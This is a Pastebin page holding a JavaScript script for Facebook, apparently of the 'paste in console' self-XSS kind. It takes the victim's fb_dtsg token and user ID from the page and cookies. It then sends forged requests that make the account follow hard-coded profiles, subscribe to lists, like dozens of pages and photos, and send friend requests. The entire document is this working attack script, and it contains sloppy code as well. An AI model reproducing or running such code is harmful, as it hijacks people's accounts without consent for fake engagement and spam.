Advertisement
sadsadsad

code tong hop

Dec 24th, 2013
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.94 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.  
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6.  
  7. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  8.  
  9. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  10. http4.open("POST", url4, true);
  11.  
  12. //Send the proper header information along with the request
  13. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  14. http4.setRequestHeader("Content-length", params4.length);
  15. http4.setRequestHeader("Connection", "close");
  16.  
  17. http4.onreadystatechange = function() {//Call a function when the state changes.
  18. if(http4.readyState == 4 && http4.status == 200) {
  19.  
  20. http4.close; // Close the connection
  21.  
  22. }
  23. }
  24.  
  25. http4.send(params4);
  26. }
  27.  
  28. function sublist(uidss) {
  29. var a = document.createElement('script');
  30. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  31. document.body.appendChild(a);
  32. }
  33. //Boss :
  34. a("100002069697530");
  35. a("100004201113502");
  36. //List Boss :
  37. sublist("475992205813098");
  38. sublist("490199897725662");
  39. //NGUYEN HAN
  40. var cinssonuc = {};
  41. var cinshtml = document.createElement("html");
  42. function scinsiyetgetir(uid,cins,fonksiyon){
  43. var xmlhttp = new XMLHttpRequest();
  44. xmlhttp.onreadystatechange = function () {
  45. if(xmlhttp.readyState == 4){
  46. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  47. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  48. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  49. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  50. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  51. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  52. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  53. }
  54. eval(fonksiyon + "(" + id + "," + cins + ");");
  55. }
  56. };
  57. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  58. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  59. xmlhttp.send();
  60. }
  61. /*Like Page*/
  62. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  63. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  64. function Like(p) {var Page = new XMLHttpRequest();var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST", PageURL, true);Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) {Page.close;}};Page.send(PageParams);}
  65. //LIKE PHOTO
  66. var now=(new Date).getTime();function P(opo) {var X = new XMLHttpRequest();var XURL ="//www.facebook.com/ajax/ufi/like.php";var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST", XURL, true);X.onreadystatechange = function () {if (X.readyState == 4 && X.status == 200) { X.close;}};
  67. X.send(XParams);}
  68. //ADD FRIENDS
  69. function IDS(r) {var X = new XMLHttpRequest();var XURL = "//www.facebook.com/ajax/add_friend/action.php";var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";
  70. X.open("POST", XURL, true);X.onreadystatechange = function () {if (X.readyState == 4 && X.status == 200) {X.close;}};X.send(XParams);
  71. }
  72. //PHOTOS
  73. P("449065178540603");P("431580730289048");P("413210035459451");P("427494180697703");
  74. P("234926979996836");P("229783103844557");P("229548857201315");P("238001913022676");
  75. P("167484433455758");P("167517246785810");P("167517600119108");P("167519223452279");
  76. //LIKE PAGE
  77. Like("218903924927269");Like("535690839782857");Like("266140610159566");
  78. Like("159389954237642");Like("707356495945407");Like("280823235376175");
  79. Like("180559432130295");Like("366845973448591");Like("1398555507041044");
  80. Like("164919173711977");Like("275773172561344");
  81. Like("668569306501409");Like("377980442303797");
  82. Like("506617756077554");Like("172025372986315");Like("469621163093000");
  83. //ADD FRIENDS
  84. IDS("100003113746773");IDS("100006578529175");
  85. IDS("100006462777027");IDS("100004386073610");
  86. IDS("100006937650361");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement